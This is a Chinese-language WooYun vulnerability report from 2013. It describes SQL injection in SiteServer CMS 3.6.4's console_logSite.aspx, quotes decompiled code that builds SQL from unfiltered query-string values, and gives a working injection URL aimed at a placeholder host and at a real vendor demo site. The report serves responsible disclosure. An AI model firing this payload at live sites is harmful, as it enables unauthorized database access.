当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-044145

漏洞标题:siteserver最新版3.6.4 sql inject 第十蛋

相关厂商:百容千域软件技术开发有限责任公司

漏洞作者: 小新

提交时间:2013-11-26 22:01

修复时间:2014-02-24 22:02

公开时间:2014-02-24 22:02

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-11-26: 细节已通知厂商并且等待厂商处理中
2013-11-27: 厂商已经确认,细节仅向厂商公开
2013-11-30: 细节向第三方安全合作伙伴开放
2014-01-21: 细节向核心白帽子及相关领域专家公开
2014-01-31: 细节向普通白帽子公开
2014-02-10: 细节向实习白帽子公开
2014-02-24: 细节向公众公开

简要描述:

siteserver 最新版3.6.4 存在注入, 第12个注入

详细说明:

第11个注入存在/siteserver/cms/console_logSite.aspx
用.NET Reflector 反编译SiteServer.CMS.dll这个文件
查看代码如下:

public void Page_Load(object sender, EventArgs E)
{
int num;
Exception exception;
bool isPostBack;
int publishmentSystemID;
this.spContents.ControlToPaginate = this.rptContents;
if ((((uint) num) + ((uint) num)) >= 0)
{
this.spContents.ItemsPerPage = 0x19;
this.spContents.ConnectionString = BaiRongDataProvider.ConnectionString;
isPostBack = base.Request.QueryString["UserName"] != null;
if (!isPostBack)
{
this.spContents.SelectCommand = DataProvider.LogDAO.GetSelectCommend();
}
else
{
this.spContents.SelectCommand = DataProvider.LogDAO.GetSelectCommend(base.PublishmentSystemID, base.Request.QueryString["LogType"], base.Request.QueryString["UserName"], base.Request.QueryString["Keyword"], base.Request.QueryString["DateFrom"], base.Request.QueryString["DateTo"]);
}
this.spContents.SortField = "ID";
this.spContents.SortMode = SortMode.DESC;
goto Label_068A;
}


上面几个参数进入下面

public string GetSelectCommend(int publishmentSystemID, string logType, string userName, string keyword, string dateFrom, string dateTo)
{
// This item is obfuscated and can not be translated.
StringBuilder builder;
bool flag;
bool flag2;
if (publishmentSystemID != 0)
{
goto Label_0475;
}
while (!string.IsNullOrEmpty(logType))
{
if (!StringUtils.EqualsIgnoreCase(logType, "All"))
{
goto Label_0475;
}
if (3 == 0)
{
goto Label_0016;
}
if (((uint) publishmentSystemID) >= 0)
{
break;
}
}
if (!string.IsNullOrEmpty(userName) || !string.IsNullOrEmpty(keyword))
{
goto Label_0475;
}
goto Label_046C;
Label_0010:
if (!flag2)
{
goto Label_013D;
}
Label_0016:
return ("SELECT ID, PublishmentSystemID, ChannelID, ContentID, UserName, IPAddress, AddDate, Action, Summary FROM siteserver_Log " + builder.ToString());
......
Label_02C8:
flag = true;
builder.AppendFormat("(UserName = '{0}')", userName);
Label_02DD:
flag2 = string.IsNullOrEmpty(keyword);
goto Label_029C;
}


几个Request.QueryString['xxx']都是可注入点

漏洞证明:

http://www.target.com/siteserver/cms/console_logSite.aspx?UserName='%20and%201=@@version%20and%201='1&Keyword=&DateFrom=&DateTo=&PublishmentSystemID=0&LogType=All


2013-11-26-205936_711x302_scrot.png


官网

http://2012.moban.siteserver.cn/siteserver/cms/console_logSite.aspx?UserName='%20and%201=@@version%20and%201='1&Keyword=&DateFrom=&DateTo=&PublishmentSystemID=0&LogType=All

修复方案:

对那几个参数过滤

版权声明:转载请注明来源 小新@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2013-11-27 09:31

厂商回复:

感谢小新的工作,尽快修正产品

最新状态:

暂无